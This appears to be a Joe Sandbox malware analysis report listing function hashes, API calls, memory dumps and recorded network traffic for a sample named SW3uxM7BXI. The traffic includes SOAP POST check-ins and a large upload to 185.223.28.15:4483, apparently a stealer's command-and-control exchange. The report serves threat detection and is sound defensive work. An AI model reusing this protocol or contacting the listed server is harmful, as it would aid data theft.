Opcode ID: 7aaf4ce470338796a5d2ee71a85aa89f2dc5fdca6c7acac62c75dfa154445a66
Instruction ID: 9f8ea75d9b2e9af18e9fc55a048160dd2caf3a5163638806435025dbc0b88a08
Opcode Fuzzy Hash: 7aaf4ce470338796a5d2ee71a85aa89f2dc5fdca6c7acac62c75dfa154445a66
Instruction Fuzzy Hash: 2D1114B9C003598BCB20DFAAD444BDEFBF9EF88220F14881AD459A7210C779A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05FD71E8 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,05FD7626), ref: 05FD77D6

Memory Dump Source

Source File: 00000000.00000002.1772987003.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_SW3uxM7BXI.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 749af48011ae2a9f14cdc77a0ec6c9881d81df8ecd546b821c26ee76edc34ce8
Instruction ID: e6cb6f4a3288e63ee75385d119b577dc3daae6c1b232acb4c46bcdd65765eab0
Opcode Fuzzy Hash: 749af48011ae2a9f14cdc77a0ec6c9881d81df8ecd546b821c26ee76edc34ce8
Instruction Fuzzy Hash: 761112B5D042498BCB10DFAAC444BDEFBF9EF88310F14882AD419AB210C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00CE0CE0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00CE0D47

Memory Dump Source

Source File: 00000000.00000002.1767453697.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_SW3uxM7BXI.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: b836ed2439a26ed3b05978367b8cbae20b5a69c934ea091c9d8ca46ec210d7fd
Instruction ID: 98aed8556f170b4c7a4f5118564e2605e257ed7e3bcfe07c2f740df7dc328575
Opcode Fuzzy Hash: b836ed2439a26ed3b05978367b8cbae20b5a69c934ea091c9d8ca46ec210d7fd
Instruction Fuzzy Hash: CD1128B59042898FCB20DFAAC8497EEFFF4EF88324F24841AC459A7250C7756585CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00CE0CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00CE0D47

Memory Dump Source

Source File: 00000000.00000002.1767453697.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_SW3uxM7BXI.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: d4961a1cd37b7173f94ef26da049ff033e28622408ce777b2bead220af83e3b0
Instruction ID: d47fa5d2fd58b1953acd8b18e54093a140db2deaa7adc063de82171e5ecd9735
Opcode Fuzzy Hash: d4961a1cd37b7173f94ef26da049ff033e28622408ce777b2bead220af83e3b0
Instruction Fuzzy Hash: CC1106B59003498FCB20DFAAC4457DEFBF4EB88324F20841AC459A7250CB75A584CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06021550 Relevance: 1.4, Instructions: 1412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d42856c591dce24c59b692b22fb6ae9f68355db823465fe133e08240076d294a
Instruction ID: aa94529c00964214c1c04e6168814eaf7de92b3387767435d829304802124494
Opcode Fuzzy Hash: d42856c591dce24c59b692b22fb6ae9f68355db823465fe133e08240076d294a
Instruction Fuzzy Hash: 1DC24F34B406189FCB54DB64CC90EADBBB2FF88704F518099E609AB3A1DB71AD85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0602349D Relevance: 1.3, Instructions: 1278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f68a4e2c8751f772b03005fbe066b4161fe46271aa50e740cdd7859a61168017
Instruction ID: 02d897b7e27a92b327e6a70aba240398b4646a7caaec9fc89bc00e9e6ef6f85b
Opcode Fuzzy Hash: f68a4e2c8751f772b03005fbe066b4161fe46271aa50e740cdd7859a61168017
Instruction Fuzzy Hash: 03A1E274B402159FCB58CB68C898AAEBBF6FF88304B10846AE515DB3A1DB35DC45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 06020048 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e49aad6ac130a6fc20ae9fc7a89a4d6423f53dc1767724242761b80f6247457b
Instruction ID: 2a4615608d265111866a122a09a103238de812fcc5007512e7cdb6930c62ce20
Opcode Fuzzy Hash: e49aad6ac130a6fc20ae9fc7a89a4d6423f53dc1767724242761b80f6247457b
Instruction Fuzzy Hash: 68425934B806258FCB24AF78D450A6EBBF2FFC1315F108A58D5039B7A5CB75E9058B85

Uniqueness

Uniqueness Score: -1.00%

Function 060204F4 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac9f096a59a805d23a9d922665b89fdcae671c3ab67abd47781fff453f6966d
Instruction ID: 3c0040a8193ac690823c94f2ccc06309f47c91490c826b6386bd5ffd1d6eb2a0
Opcode Fuzzy Hash: bac9f096a59a805d23a9d922665b89fdcae671c3ab67abd47781fff453f6966d
Instruction Fuzzy Hash: BF128930B807259FCB64DF68C840A6EBBF2FF85315F108958D5029F3A5CBB5E9498B81

Uniqueness

Uniqueness Score: -1.00%

Function 0602056A Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2406edc7c619a0e09b1f3f320f5875426d475a012b879d0c2847816c2369f6ed
Instruction ID: 2d0707e74f869d8c63592e2cdbac7080ee7d0d714a3e3fe6c55de9299fc73af5
Opcode Fuzzy Hash: 2406edc7c619a0e09b1f3f320f5875426d475a012b879d0c2847816c2369f6ed
Instruction Fuzzy Hash: 2902AA30B807259FCB64DF68C840A6EBBF2FF85315F108959D5029F3A5CBB5E9498B81

Uniqueness

Uniqueness Score: -1.00%

Function 060205E0 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e3ac4e8ed574493c2e493d8b00d78f67469e1745053f53b0073a46c92f44364
Instruction ID: 3d6d5129f33e8eb0b527bd8d0a7cd06de43b1b9905b682b8a940c4f75557760a
Opcode Fuzzy Hash: 6e3ac4e8ed574493c2e493d8b00d78f67469e1745053f53b0073a46c92f44364
Instruction Fuzzy Hash: A8029A30B807159FDB54DF68C840A6EBBF2FF85705F108559D9029F3A5CBB2E9498B81

Uniqueness

Uniqueness Score: -1.00%

Function 06020656 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2ba25d1eedfe81d2337b4e8b811be7572959506463bfe32ecab8bea4f5763c6
Instruction ID: 0c22d1d09ea05a03ea699ed8ab6c2060c9939803d1f022c67a5f9c56e39458e7
Opcode Fuzzy Hash: f2ba25d1eedfe81d2337b4e8b811be7572959506463bfe32ecab8bea4f5763c6
Instruction Fuzzy Hash: 57F19A30B807159FDB50DF68C840A6EBBF2FF85705F108559EA029F3A5CBB1E9498B91

Uniqueness

Uniqueness Score: -1.00%

Function 060206CC Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094eaa36f4c6d6f62a562265634f6f9724fb1c5be3c31a139554e31c5df8b22c
Instruction ID: 15d7961e9f3a9d4e657fa44b7f964481788dfc165d8c9104cd0f0b6ccc8144e6
Opcode Fuzzy Hash: 094eaa36f4c6d6f62a562265634f6f9724fb1c5be3c31a139554e31c5df8b22c
Instruction Fuzzy Hash: EBE17A30B807159FDB40DF64C844A6EBBF2FF85714F108459EA029F3A5CBB1D9498B91

Uniqueness

Uniqueness Score: -1.00%

Function 06020000 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6140d08f21f7790700171a0570b99774447d8e0f2b7e5cc123749b80c036d195
Instruction ID: b1ec2b1c31547fd3122fcaa5456464b22d8992eb35be7efa9e267e5c092eb354
Opcode Fuzzy Hash: 6140d08f21f7790700171a0570b99774447d8e0f2b7e5cc123749b80c036d195
Instruction Fuzzy Hash: E0D16A30B403159FDB41CF64C895A6A7FF6BF89704F148096EA028F3A6CBB1D849CB91

Uniqueness

Uniqueness Score: -1.00%

Function 060211A8 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7abefc46381bfb8e19a50dfd29f02205942979620ca77fe4bc6c6fdc41a635b0
Instruction ID: 4d619357ff31d189f18a265802da61e565d5f0676d85f9f25a4d167db1e8af12
Opcode Fuzzy Hash: 7abefc46381bfb8e19a50dfd29f02205942979620ca77fe4bc6c6fdc41a635b0
Instruction Fuzzy Hash: 13515C31F443268FD7949E79D84047ABFE6EFC6211B1485BAEA05CB210EB31C859C791

Uniqueness

Uniqueness Score: -1.00%

Function 0602338B Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9384c815f54bee75f49571b134a18287443a0a4d2e9d3c6904534d979bd41b91
Instruction ID: ee00641d6e73cb2b44d98065905dc5051ef6f893e7bfc14b5876f49982213eb2
Opcode Fuzzy Hash: 9384c815f54bee75f49571b134a18287443a0a4d2e9d3c6904534d979bd41b91
Instruction Fuzzy Hash: 19214835B40004AFCB58DF69C984EAABBB2FF88714F5180A9E9059B3B5DA31ED45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0093D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766298576.000000000093D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_93d000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4976184c86c6cde238d8e1854d1d43af34ebf4c62b1fb676c31bfe1da0b465af
Instruction ID: 3f717d3eb86f2a854cd3f6f97c87816c46959100f676544d56e1b266e61aeb83
Opcode Fuzzy Hash: 4976184c86c6cde238d8e1854d1d43af34ebf4c62b1fb676c31bfe1da0b465af
Instruction Fuzzy Hash: 70210671505240DFCB19DF54E9C0B26BFA5FB88714F24C669E9090B256C33AD816CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0095D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766524584.000000000095D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_95d000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60b357a1e68892c618850139137db51ee55947f12477a56071d4d68b8f5c6d09
Instruction ID: 7d1fbeb859e2b8e99b9cb15762f19ca6277e4fbdf978594ef4285be75c25d3bb
Opcode Fuzzy Hash: 60b357a1e68892c618850139137db51ee55947f12477a56071d4d68b8f5c6d09
Instruction Fuzzy Hash: 7E213571505200DFDB20DF15D9C4B2ABBA9FB84329F24C969DC494B246C33AD84ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0095D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766524584.000000000095D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_95d000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f97c7a1487dea97334d5dd7e39a02f67258e0c9c0925d4a6cc81ff9ad3ae1f1f
Instruction ID: e3e9a1b9e900f476016d25501d0caccc8af7d43d9d95bac8437d48259b84e95c
Opcode Fuzzy Hash: f97c7a1487dea97334d5dd7e39a02f67258e0c9c0925d4a6cc81ff9ad3ae1f1f
Instruction Fuzzy Hash: 77212971505200DFDB14DF15C5C4B26BB65FB84319F20C96DEC494B3A6C33AD84ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0093D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766298576.000000000093D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_93d000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction ID: 4780d65f3b36d0a349855adb6292a8d70a26c20862bea323260d42912b0ccb68
Opcode Fuzzy Hash: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction Fuzzy Hash: 8A219076508280DFCB16CF50D9C4B16BF72FB98314F24C6A9D9490A256C33AD426CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0095D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766524584.000000000095D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_95d000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: e66a8bed584cc73e2abcfcf461360b01efbaaa8fa2f2e29743134d614366e6fe
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 1711B276505280CFDB11CF14D5C4B19FF61FB84328F24C6AADC494B656C33AD84ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0095D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766524584.000000000095D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_95d000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 2477ef4870e57bf7f189386f0de264855628a481509ce32db0ab026dbefabfaa
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: A411DD75504280CFCB11CF10C5C4B15BFB1FB88318F24C6AAEC494B25AC33AD80ACB62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00CEDC90 Relevance: 1.6, Strings: 1, Instructions: 370COMMON

Download Yara Rule

Strings

Hbq, xrefs: 00CEDDA4

Memory Dump Source

Source File: 00000000.00000002.1767453697.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 7586d18b4972966e45416581613b781a3413a8f23ebd827f146ff66b796a2b2b
Instruction ID: 6f7096fb062c88a05d86af536433c76fb1e56ea5a5c3b2c485c7c085f7875575
Opcode Fuzzy Hash: 7586d18b4972966e45416581613b781a3413a8f23ebd827f146ff66b796a2b2b
Instruction Fuzzy Hash: E6D18C74B002458FCB14DF79D894A6EBBF6EF89340B1484A9E906DB3A5DB34DD02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06020D50 Relevance: 10.2, Strings: 8, Instructions: 240COMMON

Download Yara Rule

Strings

$^q, xrefs: 06020E1C
$^q, xrefs: 06020DCC
$^q, xrefs: 06020E42
$^q, xrefs: 06020F82
$^q, xrefs: 06020E4E
$^q, xrefs: 06020F76
$^q, xrefs: 06020F00
$^q, xrefs: 06020F50

Memory Dump Source

Source File: 00000000.00000002.1773075558.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6020000_SW3uxM7BXI.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 819959d92e9e2d9cf2cfb3cdfe1677bbd9a3258560689345833a7a321510d171
Instruction ID: 84980238eda6f076b8c4680b5f6984c18d9ceca5556597d753962a0cf94793b4
Opcode Fuzzy Hash: 819959d92e9e2d9cf2cfb3cdfe1677bbd9a3258560689345833a7a321510d171
Instruction Fuzzy Hash: ED91BE30B8021A9FDB85CB65C844AAEBFF6BF88300F14845AE406DB7A5DB34DC85CB51

Uniqueness

Uniqueness Score: -1.00%

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 185.223.28.15:4483Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.223.28.15:4483Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.223.28.15:4483Content-Length: 533555Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.223.28.15:4483Content-Length: 533547Expect: 100-continueAccept-Encoding: gzip, deflate

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6DT7OgBYAOyMRpk&MD=mZ2RpfLb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6DT7OgBYAOyMRpk&MD=mZ2RpfLb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: api.ip.sb
Source: global traffic	DNS traffic detected: DNS query: apis.google.com

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 23.3.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.223.28.15

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

